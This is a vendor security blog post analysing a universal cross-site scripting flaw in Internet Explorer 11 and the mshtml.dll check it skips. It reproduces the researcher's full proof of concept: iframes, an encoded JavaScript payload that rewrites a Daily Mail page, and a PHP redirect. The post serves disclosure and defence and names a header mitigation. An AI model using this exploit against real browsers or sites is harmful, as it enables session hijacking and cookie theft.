Internet Explorer Cross-Site Scripting Vulnerability Now Public

Security researcher David Leo has disclosed a new vulnerability in Microsoft Internet Explorer. The vulnerability allows the same origin policy of the browser to be violated. The same-origin policy restricts how a document or script loaded from one origin/website can interact with a resource from another origin.

Breaking the same-origin policy could allow an attacker to hijack sessions, steal authentication cookies, and launch phishing attacks. This flaw is described as a universal cross-site scripting (UXSS) vulnerability as it renders all websites vulnerable to XSS attacks.

A UXSS attack does not need any vulnerability on the target website to be present. A user visiting a malicious URL is sufficient for the attack to be carried out. For example, the cookies of any site visited by the user in the past can be easily stolen. In other scenarios, the target site can be “modified” as if it had been compromised by an attacker, with all of these “modifications” taking place within the user’s browser.

An attacker could potentially use an IFRAME to load a legitimate site for which the victim has an account. Due to the disclosed bug, the attacker now has the ability to run Javascript in the context of the legitimate site, something he should not be able to do due to the Same Origin Policy (a site can only use code to access its own content). The victim would then run the risk of possibly having the data they enter into that legitimate website, or cookies associated with it, stolen by the attacker.

The researcher has posted a proof of concept that demonstrated the attack on the website of the British newspaper the Daily Mail. The exploit page provides a link to the Daily Mail website, which is opened in a new window. After seven seconds the content of the website is replaced with the page reading “Hacked by Deusen”.

Websites could protect themselves from this vulnerability by using the HTTP header X-Frame-options with “same-origin” , “deny”, “allow-from” values.

IE 11 is known to be vulnerable; it was not immediately clear if older versions are at risk. Windows 7, Windows 8.1, and the Windows 10 Technical Preview are all affected by this vulnerability. No patch or workaround is known at this time.

Analyzing the vulnerability

So how does this vulnerability work? We looked into this on a Windows 7 32-bit system, with an unpatched version of Internet Explorer 11 (version 11.00.9600.17041 of mshtmll.dll).

Before explaining this vulnerability, we need to know some details about the data structure within mshtmll.dll.

Figure 1. mshtml.dll data structure

As shown in the above image, each IFRAME has a structure CWindow.

absid: the security identifier, which is represented by the current domain.

The abSID is not a member of the CWindow. CWindow can call GetSIDOfDispatch to get the abSID.

When we refer to a frame, the rendering engine creates a proxy window COmWindowProxy. This contains:

pWindow: pointer to the real html Window
pbSID: the security identifier, which is represented by the origin which refers to its real window.

How does the same origin policy work? If we attempt to access the COmWindowProxy resource, it will call the function AccessAllowed. This function compares pbSid and pWindow->abSID. If equal, this access is in the same origin, and it is allowed to proceed. Otherwise, the attempt is rejected.

In this case, the engine simply forgets to check for this access, allowing the SOP to be bypassed.

The proof of concept is made up of two files: one an HTML file called poc.html and a PHP file called 1.php. THe HTML file contains two IFRAMES, namely:

<iframe style="display:none;" width=300 height=300 id=i name=i src="1.php"></iframe><br>

Example 1. Frame0

<iframe width=300 height=100 frameBorder=0 src="https://www.dailymail.co.uk/robots.txt"></iframe><br>

Example 2. Frame1

It also contains a Javascript function:

function go() { w=window.frames[0]; w.setTimeout("alert(eval('x=top.frames[1];r=confirm(\\'Close this window after 3 seconds...\\');x.location=\\'javascript:%22%3Cscript%3Efunction%20a()%7Bw.document.body. innerHTML%3D%27%3Ca%20style%3Dfont-size%3A50px%3EHacked%20by%20Deusen %3C%2Fa%3E%27%3B%7D%20function%20o()%7Bw%3Dwindow.open(%27http%3A%2F%2Fwww.dailymail.co.uk %27%2C%27_blank%27%2C%27top%3D0%2C%20left%3D0%2C%20width%3D800%2C%20height%3D600%2C%20 location%3Dyes%2C%20scrollbars%3Dyes%27)%3BsetTimeout(%27a()%27%2C7000)%3B%7D%3C%2Fscript %3E%3Ca%20href%3D%27javascript%3Ao()%3Bvoid(0)%3B%27%3EGo%3C%2Fa%3E%22\\';'))",1); }

Example 3. go function

The PHP file contains the following code:

<?php sleep(5); Header(“Location: http://www.dailymail.co.uk/robots.txt”); ?>

Example 4. PHP code

The vulnerability is triggered this way:

1. In the go function, the Frame0 domain is http://serverip, which this being the URL of the malicious site.. Because of the php call sleep(5), the sever response is pending.

Frame1 domain is http://www.dailymail.co.uk, or any target site. The main frame domain is http://serverip.

The command w=window.frames[0] will create a ComWindowProxy w like so:

Because pbSID is equal to abSID, w.setTimeout access is allowed by the SOP.

2. The w.setTimeout timeout fires.

2.1. The command .x=top.frames[1] will create a COWindowproxy variant x. Its pbSID is serverIP.

2.2. The confirm message loop processes a redirect message; the frame0 abSID will change to Frame1.

2.3. JavaScript engine runs x.location. At this point, the correct approach is to call x.AccessAllowed, because pbSID (the attack server IP ) and abSId (www.dailymail.co.uk) are not equal and thus, access will fail. However, here, no such check was ever mode. The attacker can then run as “normal”.

The root cause of this vulnerability is simply a forgotten call, leading to an SOP bypass. Interestingly, our tests suggest that Internet Explorer 8 handled this properly but later versions (9 through 11) did not.

Trend Micro Deep Security provides protection to users via the following rule, which was released to users earlier in the week: